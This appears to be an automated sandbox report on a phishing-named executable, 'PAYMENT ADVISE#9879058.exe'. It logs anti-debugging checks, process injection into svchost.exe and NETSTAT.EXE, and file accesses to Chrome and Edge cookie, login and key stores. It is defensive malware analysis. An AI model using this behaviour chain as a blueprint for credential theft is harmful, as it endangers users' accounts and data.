Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037B89B3 mov eax, dword ptr fs:[00000030h]		1_2_037B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037429A0 mov eax, dword ptr fs:[00000030h]		1_2_037429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037309AD mov eax, dword ptr fs:[00000030h]		1_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037309AD mov eax, dword ptr fs:[00000030h]		1_2_037309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037BE872 mov eax, dword ptr fs:[00000030h]		1_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037BE872 mov eax, dword ptr fs:[00000030h]		1_2_037BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C6870 mov eax, dword ptr fs:[00000030h]		1_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037C6870 mov eax, dword ptr fs:[00000030h]		1_2_037C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03760854 mov eax, dword ptr fs:[00000030h]		1_2_03760854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03734859 mov eax, dword ptr fs:[00000030h]		1_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03734859 mov eax, dword ptr fs:[00000030h]		1_2_03734859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03742840 mov ecx, dword ptr fs:[00000030h]		1_2_03742840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03752835 mov eax, dword ptr fs:[00000030h]		1_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03752835 mov eax, dword ptr fs:[00000030h]		1_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03752835 mov eax, dword ptr fs:[00000030h]		1_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03752835 mov ecx, dword ptr fs:[00000030h]		1_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03752835 mov eax, dword ptr fs:[00000030h]		1_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03752835 mov eax, dword ptr fs:[00000030h]		1_2_03752835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376A830 mov eax, dword ptr fs:[00000030h]		1_2_0376A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D483A mov eax, dword ptr fs:[00000030h]		1_2_037D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D483A mov eax, dword ptr fs:[00000030h]		1_2_037D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037BC810 mov eax, dword ptr fs:[00000030h]		1_2_037BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376C8F9 mov eax, dword ptr fs:[00000030h]		1_2_0376C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0376C8F9 mov eax, dword ptr fs:[00000030h]		1_2_0376C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037FA8E4 mov eax, dword ptr fs:[00000030h]		1_2_037FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375E8C0 mov eax, dword ptr fs:[00000030h]		1_2_0375E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037BC89D mov eax, dword ptr fs:[00000030h]		1_2_037BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03730887 mov eax, dword ptr fs:[00000030h]		1_2_03730887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375AF69 mov eax, dword ptr fs:[00000030h]		1_2_0375AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0375AF69 mov eax, dword ptr fs:[00000030h]		1_2_0375AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2F60 mov eax, dword ptr fs:[00000030h]		1_2_037D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037D2F60 mov eax, dword ptr fs:[00000030h]		1_2_037D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372CF50 mov eax, dword ptr fs:[00000030h]		1_2_0372CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0372CF50 mov eax, dword ptr fs:[00000030h]		1_2_0372CF50

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_00426DA1 CreateFileW,__lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

0_2_00426DA1

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_0042202E SetUnhandledExceptionFilter,		0_2_0042202E
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_004230F5 __NMSG_WRITE,_raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_004230F5
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00417D93 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00417D93
Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Code function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_00421FA7

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtCreateKey: Direct from: 0x76F02C6C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtSetInformationThread: Direct from: 0x76F02B4C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtQuerySystemInformation: Direct from: 0x76F048CC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtOpenSection: Direct from: 0x76F02E0C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtSetInformationThread: Direct from: 0x76EF63F9			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtDeviceIoControlFile: Direct from: 0x76F02AEC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BEC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtCreateFile: Direct from: 0x76F02FEC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtOpenFile: Direct from: 0x76F02DCC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtQueryInformationToken: Direct from: 0x76F02CAC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtTerminateThread: Direct from: 0x76F02FCC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtProtectVirtualMemory: Direct from: 0x76EF7B2E			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtOpenKeyEx: Direct from: 0x76F02B9C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtProtectVirtualMemory: Direct from: 0x76F02F9C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtSetInformationProcess: Direct from: 0x76F02C5C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtNotifyChangeKey: Direct from: 0x76F03C2C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtCreateMutant: Direct from: 0x76F035CC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtWriteVirtualMemory: Direct from: 0x76F02E3C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtMapViewOfSection: Direct from: 0x76F02D1C			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtResumeThread: Direct from: 0x76F036AC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtAllocateVirtualMemory: Direct from: 0x76F02BFC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtReadFile: Direct from: 0x76F02ADC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtQuerySystemInformation: Direct from: 0x76F02DFC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtDelayExecution: Direct from: 0x76F02DDC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtQueryInformationProcess: Direct from: 0x76F02C26			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtResumeThread: Direct from: 0x76F02FBC			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	NtCreateUserProcess: Direct from: 0x76F0371C			Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\NETSTAT.EXE protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: NULL target: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: NULL target: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write			Jump to behavior

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Thread register set: target process: 5848

Jump to behavior

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Thread APC queued: target process: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe

Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2B5B008

Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0043916A LogonUserW,

0_2_0043916A

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,

0_2_0040D6D0

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

0_2_004375B0

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,

0_2_00436431

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe"			Jump to behavior
Source: C:\Program Files (x86)\XLTCSewxDUMLdikaPXcOZYCoqtmGBvvhnUXiYckHGzcCnXzSTMhVbViDzubQxfnbEGSspn\eYlgnnKYnAjqSS.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE "C:\Windows\SysWOW64\NETSTAT.EXE"			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"			Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

0_2_00445DD3

Source: PAYMENT ADVISE#9879058.exe, eYlgnnKYnAjqSS.exe, 00000005.00000002.2959229349.0000000001781000.00000002.00000001.00040000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000005.00000000.2255964159.0000000001781000.00000002.00000001.00040000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000000.2409609172.0000000001631000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: eYlgnnKYnAjqSS.exe, 00000005.00000002.2959229349.0000000001781000.00000002.00000001.00040000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000005.00000000.2255964159.0000000001781000.00000002.00000001.00040000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000000.2409609172.0000000001631000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: PAYMENT ADVISE#9879058.exe	Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: eYlgnnKYnAjqSS.exe, 00000005.00000002.2959229349.0000000001781000.00000002.00000001.00040000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000005.00000000.2255964159.0000000001781000.00000002.00000001.00040000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000000.2409609172.0000000001631000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: eYlgnnKYnAjqSS.exe, 00000005.00000002.2959229349.0000000001781000.00000002.00000001.00040000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000005.00000000.2255964159.0000000001781000.00000002.00000001.00040000.00000000.sdmp, eYlgnnKYnAjqSS.exe, 00000007.00000000.2409609172.0000000001631000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: }Program Manager

Language, Device and Operating System Detection

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_00410D10 cpuid

0_2_00410D10

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_004223BC

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_004711D2 GetUserNameW,

0_2_004711D2

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,

0_2_0042039F

Source: C:\Users\user\Desktop\PAYMENT ADVISE#9879058.exe

Code function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0040E470

Stealing of Sensitive Information

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2959379992.00000000011A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2342184824.0000000003A50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2958344133.00000000030E0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2959484035.00000000035B0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2959545540.0000000003600000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2341550139.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2342246132.0000000003E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2959632438.0000000002E80000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State			Jump to behavior
Source: C:\Windows\SysWOW64\NETSTAT.EXE	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data			Jump to behavior

Source: C:\Windows\SysWOW64\NETSTAT.EXE

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: PAYMENT ADVISE#9879058.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: PAYMENT ADVISE#9879058.exe	Binary or memory string: WIN_XP
Source: PAYMENT ADVISE#9879058.exe	Binary or memory string: WIN_XPe
Source: PAYMENT ADVISE#9879058.exe	Binary or memory string: WIN_VISTA
Source: PAYMENT ADVISE#9879058.exe	Binary or memory string: WIN_7

Remote Access Functionality

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
